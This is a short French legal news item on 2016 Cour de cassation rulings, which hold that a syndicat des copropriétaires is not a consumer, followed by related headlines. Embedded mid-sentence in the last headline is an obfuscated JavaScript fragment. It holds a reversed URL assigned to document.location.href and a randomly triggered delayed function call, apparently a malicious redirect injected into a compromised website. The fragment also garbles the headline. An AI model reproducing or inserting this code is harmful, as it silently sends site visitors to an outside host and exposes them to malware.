Dans trois arrêts rendus le 14 janvier 2016 (n°14-28335, 14-28336 et 14-28337), la Cour de cassation approuve une Cour d’appel qui a déclaré irrecevable l’action d’une association de consommateurs en suppression de clauses illicites ou abusives contenues dans le contrat de syndic aux syndicats de copropriétaires, ces derniers n’ayant pas la qualité de consommateurs.
Le syndicat des copropriétaires n’est pas un consommateur
- La transcription du jugement sur les actes d’état civil met fin à la cotitularité du bail
- Le locataire toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}doit occuper personnellement le logement